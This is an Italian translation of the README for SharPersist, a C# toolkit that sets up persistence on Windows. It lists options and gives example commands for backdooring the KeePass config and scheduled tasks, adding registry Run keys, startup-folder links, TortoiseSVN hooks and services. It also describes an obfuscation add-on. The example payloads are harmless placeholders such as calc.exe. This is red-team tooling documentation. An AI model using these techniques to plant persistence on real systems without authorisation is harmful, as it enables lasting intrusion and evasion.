SharPersist

Toolkit di persistenza per Windows scritto in C#. Per informazioni dettagliate sull'utilizzo di ogni tecnica, consulta la Wiki.

Autore - Brett Hawkins (@h4wkst3r)

Rilascio

• La versione pubblica 1.0.1 di SharPersist è disponibile nella sezione Releases

Installazione/Compilazione

Pre-compilato

• Usa il binario pre-compilato nella sezione Releases

Compilare da soli

Segui i passaggi seguenti per configurare Visual Studio e compilare il progetto da solo. Questo richiede un paio di librerie .NET che possono essere installate dal gestore pacchetti NuGet.

Librerie utilizzate

Le seguenti librerie di terze parti sono utilizzate in questo progetto.

Libreria	URL	Licenza
TaskScheduler	https://github.com/dahall/TaskScheduler	Licenza MIT
Fody	https://github.com/Fody/Fody	Licenza MIT

Passaggi per la compilazione

• Apri il progetto in Visual Studio e vai su "Tools" --> "NuGet Package Manager" --> "Package Manager Settings"
• Vai su "NuGet Package Manager" --> "Package Sources"
• Aggiungi un'origine pacchetto con URL "https://api.nuget.org/v3/index.json"
• Installa il pacchetto NuGet Costura.Fody. Serve la versione precedente di Costura.Fody (3.3.3), in modo da non avere bisogno di Visual Studio 2019.
  • Install-Package Costura.Fody -Version 3.3.3
• Installa il pacchetto TaskScheduler
  • Install-Package TaskScheduler -Version 2.8.11
• Ora puoi compilare il progetto da solo!

Argomenti/Opzioni

• -t - tecnica di persistenza
• -c - comando da eseguire
• -a - argomenti del comando da eseguire (se applicabile)
• -f - il file da creare/modificare
• -k - chiave di registro da creare/modificare
• -v - valore di registro da creare/modificare
• -n - nome dell'attività pianificata o nome del servizio
• -m - metodo (add, remove, check, list)
• -o - componenti aggiuntivi opzionali
• -h - pagina di aiuto

Tecniche di persistenza (-t)

• keepass - backdoor del file di configurazione di keepass
• reg - aggiunta/modifica di chiavi di registro
• schtaskbackdoor - backdoor di un'attività pianificata aggiungendo un'azione aggiuntiva
• startupfolder - file .lnk nella cartella di avvio
• tortoisesvn - script hook di TortoiseSVN
• service - crea un nuovo servizio Windows
• schtask - crea una nuova attività pianificata

Metodi (-m)

• add - aggiunge la tecnica di persistenza
• remove - rimuove la tecnica di persistenza
• check - esegue una prova (dry-run) della tecnica di persistenza
• list - elenca le voci correnti per la tecnica di persistenza

Add-on opzionali (-o)

• env - add-on opzionale per l'offuscamento delle variabili d'ambiente per il registro
• hourly - add-on opzionale per la frequenza di schtask
• daily - add-on opzionale per la frequenza di schtask
• logon - add-on opzionale per la frequenza di schtask

Chiavi di registro (-k)

• hklmrun
• hklmrunonce
• hklmrunonceex
• hkcurun
• hkcurunonce
• logonscript
• stickynotes
• userinit

Esempi

Aggiunta dei trigger di persistenza (Add)

KeePass

SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m add

Registry

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add -o env

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m add

Backdoor di attività pianificata

SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add

Cartella di avvio

SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m add

Tortoise SVN

SharPersist -t tortoisesvn -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -m add

Servizio Windows

SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add

Attività pianificata

SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m add

SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m add -o hourly

Rimozione dei trigger di persistenza (Remove)

KeePass

SharPersist -t keepass -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m remove

Registry

SharPersist -t reg -k "hkcurun" -v "Test Stuff" -m remove

SharPersist -t reg -k "hkcurun" -v "Test Stuff" -m remove -o env

SharPersist -t reg -k "logonscript" -m remove

Backdoor di attività pianificata

SharPersist -t schtaskbackdoor -n "Something Cool" -m remove

Cartella di avvio

SharPersist -t startupfolder -f "Some File" -m remove

Tortoise SVN

SharPersist -t tortoisesvn -m remove

Servizio Windows

SharPersist -t service -n "Some Service" -m remove

Attività pianificata

SharPersist -t schtask -n "Some Task" -m remove

Esegui una prova (dry-run) del trigger di persistenza (Check)

KeePass

SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m check

Registry

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m check

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m check -o env

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m check

Backdoor di attività pianificata

SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m check

Cartella di avvio

SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m check

Tortoise SVN

SharPersist -t tortoisesvn -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -m check

Servizio Windows

SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m check

Attività pianificata

SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m check

SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m check -o hourly

Elenca le voci dei trigger di persistenza (List)

Registry

SharPersist -t reg -k "hkcurun" -m list

Backdoor di attività pianificata

SharPersist -t schtaskbackdoor -m list

SharPersist -t schtaskbackdoor -m list -n "Some Task"

SharPersist -t schtaskbackdoor -m list -o logon

Cartella di avvio

SharPersist -t startupfolder -m list

Servizio Windows

SharPersist -t service -m list

SharPersist -t service -m list -n "Some Service"

Attività pianificata

SharPersist -t schtask -m list

SharPersist -t schtask -m list -n "Some Task"

SharPersist -t schtask -m list -o logon